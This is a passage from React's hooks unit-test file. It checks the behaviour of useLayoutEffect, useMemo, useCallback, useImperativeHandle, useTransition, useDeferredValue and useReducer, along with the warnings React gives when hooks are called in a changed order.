assertConsoleErrorDev([\n        'useInsertionEffect must not schedule updates.\\n' +\n          '    in App (at **)',\n      ]);\n\n      // Should not warn for regular effects after throw.\n      function NotInsertion() {\n        const [, setX] = useState(0);\n        useEffect(() => {\n          setX(1);\n        }, []);\n        return null;\n      }\n      await act(() => {\n        root.render(<NotInsertion />);\n      });\n    });\n  });\n\n  describe('useLayoutEffect', () => {\n    it('fires layout effects after the host has been mutated', async () => {\n      function getCommittedText() {\n        const yields = Scheduler.unstable_clearLog();\n        const children = ReactNoop.getChildrenAsJSX();\n        Scheduler.log(yields);\n        if (children === null) {\n          return null;\n        }\n        return children.props.prop;\n      }\n\n      function Counter(props) {\n        useLayoutEffect(() => {\n          Scheduler.log(`Current: ${getCommittedText()}`);\n        });\n        return <Text text={props.count} />;\n      }\n\n      ReactNoop.render(<Counter count={0} />, () =>\n        Scheduler.log('Sync effect'),\n      );\n      await waitFor([[0], 'Current: 0', 'Sync effect']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n      ReactNoop.render(<Counter count={1} />, () =>\n        Scheduler.log('Sync effect'),\n      );\n      await waitFor([[1], 'Current: 1', 'Sync effect']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n    });\n\n    it('force flushes passive effects before firing new layout effects', async () => {\n      let committedText = '(empty)';\n\n      function Counter(props) {\n        useLayoutEffect(() => {\n          // Normally this would go in a mutation effect, but this test\n          // intentionally omits a mutation effect.\n          committedText = String(props.count);\n\n          Scheduler.log(`Mount layout [current: ${committedText}]`);\n          return () => {\n            Scheduler.log(`Unmount layout [current: ${committedText}]`);\n          };\n        });\n        useEffect(() => {\n          Scheduler.log(`Mount normal [current: ${committedText}]`);\n          return () => {\n            Scheduler.log(`Unmount normal [current: ${committedText}]`);\n          };\n        });\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Mount layout [current: 0]', 'Sync effect']);\n        expect(committedText).toEqual('0');\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor([\n          'Mount normal [current: 0]',\n          'Unmount layout [current: 0]',\n          'Mount layout [current: 1]',\n          'Sync effect',\n        ]);\n        expect(committedText).toEqual('1');\n      });\n\n      assertLog(['Unmount normal [current: 1]', 'Mount normal [current: 1]']);\n    });\n\n    it('catches errors thrown in useLayoutEffect', async () => {\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error) {\n          Scheduler.log(`ErrorBoundary static getDerivedStateFromError`);\n          return {error};\n        }\n        render() {\n          const {children, id, fallbackID} = this.props;\n          const {error} = this.state;\n          if (error) {\n            Scheduler.log(`${id} render error`);\n            return <Component id={fallbackID} />;\n          }\n          Scheduler.log(`${id} render success`);\n          return children || null;\n        }\n      }\n\n      function Component({id}) {\n        Scheduler.log('Component render ' + id);\n        return <span prop={id} />;\n      }\n\n      function BrokenLayoutEffectDestroy() {\n        useLayoutEffect(() => {\n          return () => {\n            Scheduler.log('BrokenLayoutEffectDestroy useLayoutEffect destroy');\n            throw Error('Expected');\n          };\n        }, []);\n\n        Scheduler.log('BrokenLayoutEffectDestroy render');\n        return <span prop=\"broken\" />;\n      }\n\n      ReactNoop.render(\n        <ErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n          <ErrorBoundary id=\"InnerBoundary\" fallbackID=\"InnerFallback\">\n            <BrokenLayoutEffectDestroy />\n          </ErrorBoundary>\n        </ErrorBoundary>,\n      );\n\n      await waitForAll([\n        'OuterBoundary render success',\n        'Component render sibling',\n        'InnerBoundary render success',\n        'BrokenLayoutEffectDestroy render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"sibling\" />\n          <span prop=\"broken\" />\n        </>,\n      );\n\n      ReactNoop.render(\n        <ErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n        </ErrorBoundary>,\n      );\n\n      // React should skip over the unmounting boundary and find the nearest still-mounted boundary.\n      await waitForAll([\n        'OuterBoundary render success',\n        'Component render sibling',\n        'BrokenLayoutEffectDestroy useLayoutEffect destroy',\n        'ErrorBoundary static getDerivedStateFromError',\n        'OuterBoundary render error',\n        'Component render OuterFallback',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"OuterFallback\" />);\n    });\n\n    it('assumes layout effect destroy function is either a function or undefined', async () => {\n      function App(props) {\n        useLayoutEffect(() => {\n          return props.return;\n        });\n        return null;\n      }\n\n      const root1 = ReactNoop.createRoot();\n      await act(() => {\n        root1.render(<App return={17} />);\n      });\n      assertConsoleErrorDev([\n        'useLayoutEffect must not return anything besides a ' +\n          'function, which is used for clean-up. You returned: 17\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root2 = ReactNoop.createRoot();\n      await act(() => {\n        root2.render(<App return={null} />);\n      });\n      assertConsoleErrorDev([\n        'useLayoutEffect must not return anything besides a ' +\n          'function, which is used for clean-up. You returned null. If your ' +\n          'effect does not require clean up, return undefined (or nothing).\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root3 = ReactNoop.createRoot();\n      await act(() => {\n        root3.render(<App return={Promise.resolve()} />);\n      });\n      assertConsoleErrorDev([\n        'useLayoutEffect must not return anything besides a ' +\n          'function, which is used for clean-up.\\n\\n' +\n          'It looks like you wrote useLayoutEffect(async () => ...) or returned a Promise. ' +\n          'Instead, write the async function inside your effect and call it immediately:\\n' +\n          '\\n' +\n          'useLayoutEffect(() => {\\n' +\n          '  async function fetchData() {\\n' +\n          '    // You can await here\\n' +\n          '    const response = await MyAPI.getData(someId);\\n' +\n          '    // ...\\n' +\n          '  }\\n' +\n          '  fetchData();\\n' +\n          \"}, [someId]); // Or [] if effect doesn't need props or state\\n\" +\n          '\\n' +\n          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\\n' +\n          '    in App (at **)',\n      ]);\n\n      // Error on unmount because React assumes the value is a function\n      await act(async () => {\n        root3.render(null);\n        await waitForThrow('is not a function');\n      });\n    });\n  });\n\n  describe('useCallback', () => {\n    it('memoizes callback by comparing inputs', async () => {\n      class IncrementButton extends React.PureComponent {\n        increment = () => {\n          this.props.increment();\n        };\n        render() {\n          return <Text text=\"Increment\" />;\n        }\n      }\n\n      function Counter({incrementBy}) {\n        const [count, updateCount] = useState(0);\n        const increment = useCallback(\n          () => updateCount(c => c + incrementBy),\n          [incrementBy],\n        );\n        return (\n          <>\n            <IncrementButton increment={increment} ref={button} />\n            <Text text={'Count: ' + count} />\n          </>\n        );\n      }\n\n      const button = React.createRef(null);\n      ReactNoop.render(<Counter incrementBy={1} />);\n      await waitForAll(['Increment', 'Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Increment\" />\n          <span prop=\"Count: 0\" />\n        </>,\n      );\n\n      await act(() => button.current.increment());\n      assertLog([\n        // Button should not re-render, because its props haven't changed\n        // 'Increment',\n        'Count: 1',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Increment\" />\n          <span prop=\"Count: 1\" />\n        </>,\n      );\n\n      // Increase the increment amount\n      ReactNoop.render(<Counter incrementBy={10} />);\n      await waitForAll([\n        // Inputs did change this time\n        'Increment',\n        'Count: 1',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Increment\" />\n          <span prop=\"Count: 1\" />\n        </>,\n      );\n\n      // Callback should have updated\n      await act(() => button.current.increment());\n      assertLog(['Count: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Increment\" />\n          <span prop=\"Count: 11\" />\n        </>,\n      );\n    });\n  });\n\n  describe('useMemo', () => {\n    it('memoizes value by comparing to previous inputs', async () => {\n      function CapitalizedText(props) {\n        const text = props.text;\n        const capitalizedText = useMemo(() => {\n          Scheduler.log(`Capitalize '${text}'`);\n          return text.toUpperCase();\n        }, [text]);\n        return <Text text={capitalizedText} />;\n      }\n\n      ReactNoop.render(<CapitalizedText text=\"hello\" />);\n      await waitForAll([\"Capitalize 'hello'\", 'HELLO']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"HELLO\" />);\n\n      ReactNoop.render(<CapitalizedText text=\"hi\" />);\n      await waitForAll([\"Capitalize 'hi'\", 'HI']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"HI\" />);\n\n      ReactNoop.render(<CapitalizedText text=\"hi\" />);\n      await waitForAll(['HI']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"HI\" />);\n\n      ReactNoop.render(<CapitalizedText text=\"goodbye\" />);\n      await waitForAll([\"Capitalize 'goodbye'\", 'GOODBYE']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"GOODBYE\" />);\n    });\n\n    it('always re-computes if no inputs are provided', async () => {\n      function LazyCompute(props) {\n        const computed = useMemo(props.compute);\n        return <Text text={computed} />;\n      }\n\n      function computeA() {\n        Scheduler.log('compute A');\n        return 'A';\n      }\n\n      function computeB() {\n        Scheduler.log('compute B');\n        return 'B';\n      }\n\n      ReactNoop.render(<LazyCompute compute={computeA} />);\n      await waitForAll(['compute A', 'A']);\n\n      ReactNoop.render(<LazyCompute compute={computeA} />);\n      await waitForAll(['compute A', 'A']);\n\n      ReactNoop.render(<LazyCompute compute={computeA} />);\n      await waitForAll(['compute A', 'A']);\n\n      ReactNoop.render(<LazyCompute compute={computeB} />);\n      await waitForAll(['compute B', 'B']);\n    });\n\n    it('should not invoke memoized function during re-renders unless inputs change', async () => {\n      function LazyCompute(props) {\n        const computed = useMemo(\n          () => props.compute(props.input),\n          [props.input],\n        );\n        const [count, setCount] = useState(0);\n        if (count < 3) {\n          setCount(count + 1);\n        }\n        return <Text text={computed} />;\n      }\n\n      function compute(val) {\n        Scheduler.log('compute ' + val);\n        return val;\n      }\n\n      ReactNoop.render(<LazyCompute compute={compute} input=\"A\" />);\n      await waitForAll(['compute A', 'A']);\n\n      ReactNoop.render(<LazyCompute compute={compute} input=\"A\" />);\n      await waitForAll(['A']);\n\n      ReactNoop.render(<LazyCompute compute={compute} input=\"B\" />);\n      await waitForAll(['compute B', 'B']);\n    });\n  });\n\n  describe('useImperativeHandle', () => {\n    it('does not update when deps are the same', async () => {\n      const INCREMENT = 'INCREMENT';\n\n      function reducer(state, action) {\n        return action === INCREMENT ? state + 1 : state;\n      }\n\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => ({count, dispatch}), []);\n        return <Text text={'Count: ' + count} />;\n      }\n\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      expect(counter.current.count).toBe(0);\n\n      await act(() => {\n        counter.current.dispatch(INCREMENT);\n      });\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      // Intentionally not updated because of [] deps:\n      expect(counter.current.count).toBe(0);\n    });\n\n    // Regression test for https://github.com/facebook/react/issues/14782\n    it('automatically updates when deps are not specified', async () => {\n      const INCREMENT = 'INCREMENT';\n\n      function reducer(state, action) {\n        return action === INCREMENT ? state + 1 : state;\n      }\n\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => ({count, dispatch}));\n        return <Text text={'Count: ' + count} />;\n      }\n\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      expect(counter.current.count).toBe(0);\n\n      await act(() => {\n        counter.current.dispatch(INCREMENT);\n      });\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      expect(counter.current.count).toBe(1);\n    });\n\n    it('updates when deps are different', async () => {\n      const INCREMENT = 'INCREMENT';\n\n      function reducer(state, action) {\n        return action === INCREMENT ? state + 1 : state;\n      }\n\n      let totalRefUpdates = 0;\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => {\n          totalRefUpdates++;\n          return {count, dispatch};\n        }, [count]);\n        return <Text text={'Count: ' + count} />;\n      }\n\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      expect(counter.current.count).toBe(0);\n      expect(totalRefUpdates).toBe(1);\n\n      await act(() => {\n        counter.current.dispatch(INCREMENT);\n      });\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      expect(counter.current.count).toBe(1);\n      expect(totalRefUpdates).toBe(2);\n\n      // Update that doesn't change the ref dependencies\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      expect(counter.current.count).toBe(1);\n      expect(totalRefUpdates).toBe(2); // Should not increase since last time\n    });\n  });\n\n  describe('useTransition', () => {\n    it('delays showing loading state until after timeout', async () => {\n      let transition;\n      function App() {\n        const [show, setShow] = useState(false);\n        const [isPending, startTransition] = useTransition();\n        transition = () => {\n          startTransition(() => {\n            setShow(true);\n          });\n        };\n        return (\n          <Suspense\n            fallback={<Text text={`Loading... Pending: ${isPending}`} />}>\n            {show ? (\n              <AsyncText text={`After... Pending: ${isPending}`} />\n            ) : (\n              <Text text={`Before... Pending: ${isPending}`} />\n            )}\n          </Suspense>\n        );\n      }\n      ReactNoop.render(<App />);\n      await waitForAll(['Before... Pending: false']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Before... Pending: false\" />,\n      );\n\n      await act(async () => {\n        transition();\n\n        await waitForAll([\n          'Before... Pending: true',\n          'Suspend! [After... Pending: false]',\n          'Loading... Pending: false',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"Before... Pending: true\" />,\n        );\n        Scheduler.unstable_advanceTime(500);\n        await advanceTimers(500);\n\n        // Even after a long amount of time, we still don't show a placeholder.\n        Scheduler.unstable_advanceTime(100000);\n        await advanceTimers(100000);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"Before... Pending: true\" />,\n        );\n\n        await resolveText('After... Pending: false');\n        assertLog(['Promise resolved [After... Pending: false]']);\n        await waitForAll(['After... Pending: false']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"After... Pending: false\" />,\n        );\n      });\n    });\n  });\n\n  describe('useDeferredValue', () => {\n    it('defers text value', async () => {\n      function TextBox({text}) {\n        return <AsyncText text={text} />;\n      }\n\n      let _setText;\n      function App() {\n        const [text, setText] = useState('A');\n        const deferredText = useDeferredValue(text);\n        _setText = setText;\n        return (\n          <>\n            <Text text={text} />\n            <Suspense fallback={<Text text={'Loading'} />}>\n              <TextBox text={deferredText} />\n            </Suspense>\n          </>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n\n      assertLog([\n        'A',\n        'Suspend! [A]',\n        'Loading',\n        // pre-warming\n        'Suspend! [A]',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"A\" />\n          <span prop=\"Loading\" />\n        </>,\n      );\n\n      await act(() => resolveText('A'));\n      assertLog(['Promise resolved [A]', 'A']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"A\" />\n          <span prop=\"A\" />\n        </>,\n      );\n\n      await act(async () => {\n        _setText('B');\n        await waitForAll(['B', 'A', 'B', 'Suspend! [B]', 'Loading']);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"B\" />\n            <span prop=\"A\" />\n          </>,\n        );\n      });\n\n      await act(async () => {\n        Scheduler.unstable_advanceTime(250);\n        await advanceTimers(250);\n      });\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"B\" />\n          <span prop=\"A\" />\n        </>,\n      );\n\n      // Even after a long amount of time, we don't show a fallback\n      Scheduler.unstable_advanceTime(100000);\n      await advanceTimers(100000);\n      await waitForAll([]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"B\" />\n          <span prop=\"A\" />\n        </>,\n      );\n\n      await act(async () => {\n        await resolveText('B');\n      });\n      assertLog(['Promise resolved [B]', 'B', 'B']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"B\" />\n          <span prop=\"B\" />\n        </>,\n      );\n    });\n  });\n\n  describe('progressive enhancement (not supported)', () => {\n    it('mount additional state', async () => {\n      let updateA;\n      let updateB;\n      // let updateC;\n\n      function App(props) {\n        const [A, _updateA] = useState(0);\n        const [B, _updateB] = useState(0);\n        updateA = _updateA;\n        updateB = _updateB;\n\n        let C;\n        if (props.loadC) {\n          useState(0);\n        } else {\n          C = '[not loaded]';\n        }\n\n        return <Text text={`A: ${A}, B: ${B}, C: ${C}`} />;\n      }\n\n      ReactNoop.render(<App loadC={false} />);\n      await waitForAll(['A: 0, B: 0, C: [not loaded]']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"A: 0, B: 0, C: [not loaded]\" />,\n      );\n\n      await act(() => {\n        updateA(2);\n        updateB(3);\n      });\n\n      assertLog(['A: 2, B: 3, C: [not loaded]']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"A: 2, B: 3, C: [not loaded]\" />,\n      );\n\n      ReactNoop.render(<App loadC={true} />);\n      await waitForThrow(\n        'Rendered more hooks than during the previous render.',\n      );\n      assertLog([]);\n      assertConsoleErrorDev([\n        'React has detected a change in the order of Hooks called by App. ' +\n          'This will lead to bugs and errors if not fixed. For more information, ' +\n          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n          '\\n' +\n          '   Previous render            Next render\\n' +\n          '   ------------------------------------------------------\\n' +\n          '1. useState                   useState\\n' +\n          '2. useState                   useState\\n' +\n          '3. undefined                  useState\\n' +\n          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n          '\\n' +\n          '    in App (at **)',\n      ]);\n\n      // Uncomment if/when we support this again\n      // expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A: 2, B: 3, C: 0\" />]);\n\n      // updateC(4);\n      // expect(Scheduler).toFlushAndYield(['A: 2, B: 3, C: 4']);\n      // expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A: 2, B: 3, C: 4\" />]);\n    });\n\n    it('unmount state', async () => {\n      let updateA;\n      let updateB;\n      let updateC;\n\n      function App(props) {\n        const [A, _updateA] = useState(0);\n        const [B, _updateB] = useState(0);\n        updateA = _updateA;\n        updateB = _updateB;\n\n        let C;\n        if (props.loadC) {\n          const [_C, _updateC] = useState(0);\n          C = _C;\n          updateC = _updateC;\n        } else {\n          C = '[not loaded]';\n        }\n\n        return <Text text={`A: ${A}, B: ${B}, C: ${C}`} />;\n      }\n\n      ReactNoop.render(<App loadC={true} />);\n      await waitForAll(['A: 0, B: 0, C: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A: 0, B: 0, C: 0\" />);\n      await act(() => {\n        updateA(2);\n        updateB(3);\n        updateC(4);\n      });\n      assertLog(['A: 2, B: 3, C: 4']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A: 2, B: 3, C: 4\" />);\n      ReactNoop.render(<App loadC={false} />);\n      await waitForThrow(\n        'Rendered fewer hooks than expected. This may be caused by an ' +\n          'accidental early return statement.',\n      );\n    });\n\n    it('unmount effects', async () => {\n      function App(props) {\n        useEffect(() => {\n          Scheduler.log('Mount A');\n          return () => {\n            Scheduler.log('Unmount A');\n          };\n        }, []);\n\n        if (props.showMore) {\n          useEffect(() => {\n            Scheduler.log('Mount B');\n            return () => {\n              Scheduler.log('Unmount B');\n            };\n          }, []);\n        }\n\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.render(<App showMore={false} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Sync effect']);\n      });\n\n      assertLog(['Mount A']);\n\n      await act(async () => {\n        ReactNoop.render(<App showMore={true} />);\n        await waitForThrow(\n          'Rendered more hooks than during the previous render.',\n        );\n        assertLog(['Unmount A']);\n        assertConsoleErrorDev([\n          'React has detected a change in the order of Hooks called by App. ' +\n            'This will lead to bugs and errors if not fixed. For more information, ' +\n            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n            '\\n' +\n            '   Previous render            Next render\\n' +\n            '   ------------------------------------------------------\\n' +\n            '1. useEffect                  useEffect\\n' +\n            '2. undefined                  useEffect\\n' +\n            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n            '\\n' +\n            '    in App (at **)',\n        ]);\n      });\n\n      // Uncomment if/when we support this again\n      // ReactNoop.flushPassiveEffects();\n      // expect(Scheduler).toHaveYielded(['Mount B']);\n\n      // ReactNoop.render(<App showMore={false} />);\n      // expect(Scheduler).toFlushAndThrow(\n      //   'Rendered fewer hooks than expected. This may be caused by an ' +\n      //     'accidental early return statement.',\n      // );\n    });\n  });\n\n  it('useReducer does not eagerly bail out of state updates', async () => {\n    // Edge case based on a bug report\n    let setCounter;\n    function App() {\n      const [counter, _setCounter] = useState(1);\n      setCounter = _setCounter;\n      return <Component count={counter} />;\n    }\n\n    function Component({count}) {\n      const [state, dispatch] = useReducer(() => {\n        // This reducer closes over a value from props. If the reducer is not\n        // properly updated, the eager reducer will compare to an old value\n        // and bail out incorrectly.\n        Scheduler.log('Reducer: ' + count);\n        return count;\n      }, -1);\n      useEffect(() => {\n        Scheduler.log('Effect: ' + count);\n        dispatch();\n      }, [count]);\n      Scheduler.log('Render: ' + state);\n      return count;\n    }\n\n    await act(async () => {\n      ReactNoop.render(<App />);\n      await waitForAll(['Render: -1', 'Effect: 1', 'Reducer: 1', 'Render: 1']);\n      expect(ReactNoop).toMatchRenderedOutput('1');\n    });\n\n    await act(() => {\n      setCounter(2);\n    });\n    assertLog(['Render: 1', 'Effect: 2', 'Reducer: 2', 'Render: 2']);\n    expect(ReactNoop).toMatchRenderedOutput('2');\n  });\n\n  it('useReducer does not replay previous no-op actions when other state changes', async () => {\n    let increment;\n    let setDisabled;\n\n    function Counter() {\n      const [disabled, _setDisabled] = useState(true);\n      const [count, dispatch] = useReducer((state, action) => {\n        if (disabled) {\n          return state;\n        }\n        if (action.type === 'increment') {\n          return state + 1;\n        }\n        return state;\n      }, 0);\n\n      increment = () => dispatch({type: 'increment'});\n      setDisabled = _setDisabled;\n\n      Scheduler.log('Render disabled: ' + disabled);\n      Scheduler.log('Render count: ' + count);\n      return count;\n    }\n\n    ReactNoop.render(<Counter />);\n    await waitForAll(['Render disabled: true', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // These increments should have no effect, since disabled=true\n      increment();\n      increment();\n      increment();\n    });\n    assertLog(['Render disabled: true', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // Enabling the updater should *not* replay the previous increment() actions\n      setDisabled(false);\n    });\n    assertLog(['Render disabled: false', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n  });\n\n  it('useReducer does not replay previous no-op actions when props change', async () => {\n    let setDisabled;\n    let increment;\n\n    function Counter({disabled}) {\n      const [count, dispatch] = useReducer((state, action) => {\n        if (disabled) {\n          return state;\n        }\n        if (action.type === 'increment') {\n          return state + 1;\n        }\n        return state;\n      }, 0);\n\n      increment = () => dispatch({type: 'increment'});\n\n      Scheduler.log('Render count: ' + count);\n      return count;\n    }\n\n    function App() {\n      const [disabled, _setDisabled] = useState(true);\n      setDisabled = _setDisabled;\n      Scheduler.log('Render disabled: ' + disabled);\n      return <Counter disabled={disabled} />;\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll(['Render disabled: true', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // These increments should have no effect, since disabled=true\n      increment();\n      increment();\n      increment();\n    });\n    assertLog(['Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // Enabling the updater should *not* replay the previous increment() actions\n      setDisabled(false);\n    });\n    assertLog(['Render disabled: false', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n  });\n\n  it('useReducer applies potential no-op changes if made relevant by other updates in the batch', async () => {\n    let setDisabled;\n    let increment;\n\n    function Counter({disabled}) {\n      const [count, dispatch] = useReducer((state, action) => {\n        if (disabled) {\n          return state;\n        }\n        if (action.type === 'increment') {\n          return state + 1;\n        }\n        return state;\n      }, 0);\n\n      increment = () => dispatch({type: 'increment'});\n\n      Scheduler.log('Render count: ' + count);\n      return count;\n    }\n\n    function App() {\n      const [disabled, _setDisabled] = useState(true);\n      setDisabled = _setDisabled;\n      Scheduler.log('Render disabled: ' + disabled);\n      return <Counter disabled={disabled} />;\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll(['Render disabled: true', 'Render count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => {\n      // Although the increment happens first (and would seem to do nothing since disabled=true),\n      // because these calls are in a batch the parent updates first. This should cause the child\n      // to re-render with disabled=false and *then* process the increment action, which now\n      // increments the count and causes the component output to change.\n      increment();\n      setDisabled(false);\n    });\n    assertLog(['Render disabled: false', 'Render count: 1']);\n    expect(ReactNoop).toMatchRenderedOutput('1');\n  });\n\n  // Regression test. Covers a case where an internal state variable\n  // (`didReceiveUpdate`) is not reset properly.\n  it('state bail out edge case (#16359)', async () => {\n    let setCounterA;\n    let setCounterB;\n\n    function CounterA() {\n      const [counter, setCounter] = useState(0);\n      setCounterA = setCounter;\n      Scheduler.log('Render A: ' + counter);\n      useEffect(() => {\n        Scheduler.log('Commit A: ' + counter);\n      });\n      return counter;\n    }\n\n    function CounterB() {\n      const [counter, setCounter] = useState(0);\n      setCounterB = setCounter;\n      Scheduler.log('Render B: ' + counter);\n      useEffect(() => {\n        Scheduler.log('Commit B: ' + counter);\n      });\n      return counter;\n    }\n\n    const root = ReactNoop.createRoot(null);\n    await act(() => {\n      root.render(\n        <>\n          <CounterA />\n          <CounterB />\n        </>,\n      );\n    });\n    assertLog(['Render A: 0', 'Render B: 0', 'Commit A: 0', 'Commit B: 0']);\n\n    await act(() => {\n      setCounterA(1);\n\n      // In the same batch, update B twice. To trigger the condition we're\n      // testing, the first update is necessary to bypass the early\n      // bailout optimization.\n      setCounterB(1);\n      setCounterB(0);\n    });\n    assertLog([\n      'Render A: 1',\n      'Render B: 0',\n      'Commit A: 1',\n      // B should not fire an effect because the update bailed out\n      // 'Commit B: 0',\n    ]);\n  });\n\n  it('should update latest rendered reducer when a preceding state receives a render phase update', async () => {\n    // Similar to previous test, except using a preceding render phase update\n    // instead of new props.\n    let dispatch;\n    function App() {\n      const [step, setStep] = useState(0);\n      const [shadow, _dispatch] = useReducer(() => step, step);\n      dispatch = _dispatch;\n\n      if (step < 5) {\n        setStep(step + 1);\n      }\n\n      Scheduler.log(`Step: ${step}, Shadow: ${shadow}`);\n      return shadow;\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll([\n      'Step: 0, Shadow: 0',\n      'Step: 1, Shadow: 0',\n      'Step: 2, Shadow: 0',\n      'Step: 3, Shadow: 0',\n      'Step: 4, Shadow: 0',\n      'Step: 5, Shadow: 0',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput('0');\n\n    await act(() => dispatch());\n    assertLog(['Step: 5, Shadow: 5']);\n    expect(ReactNoop).toMatchRenderedOutput('5');\n  });\n\n  it('should process the rest pending updates after a render phase update', async () => {\n    // Similar to previous test, except using a preceding render phase update\n    // instead of new props.\n    let updateA;\n    let updateC;\n    function App() {\n      const [a, setA] = useState(false);\n      const [b, setB] = useState(false);\n      if (a !== b) {\n        setB(a);\n      }\n      // Even though we called setB above,\n      // we should still apply the changes to C,\n      // during this render pass.\n      const [c, setC] = useState(false);\n      updateA = setA;\n      updateC = setC;\n      return `${a ? 'A' : 'a'}${b ? 'B' : 'b'}${c ? 'C' : 'c'}`;\n    }\n\n    await act(() => ReactNoop.render(<App />));\n    expect(ReactNoop).toMatchRenderedOutput('abc');\n\n    await act(() => {\n      updateA(true);\n      // This update should not get dropped.\n      updateC(true);\n    });\n    expect(ReactNoop).toMatchRenderedOutput('ABC');\n  });\n\n  it(\"regression test: don't unmount effects on siblings of deleted nodes\", async () => {\n    const root = ReactNoop.createRoot();\n\n    function Child({label}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout ' + label);\n        return () => {\n          Scheduler.log('Unmount layout ' + label);\n        };\n      }, [label]);\n      useEffect(() => {\n        Scheduler.log('Mount passive ' + label);\n        return () => {\n          Scheduler.log('Unmount passive ' + label);\n        };\n      }, [label]);\n      return label;\n    }\n\n    await act(() => {\n      root.render(\n        <>\n          <Child key=\"A\" label=\"A\" />\n          <Child key=\"B\" label=\"B\" />\n        </>,\n      );\n    });\n    assertLog([\n      'Mount layout A',\n      'Mount layout B',\n      'Mount passive 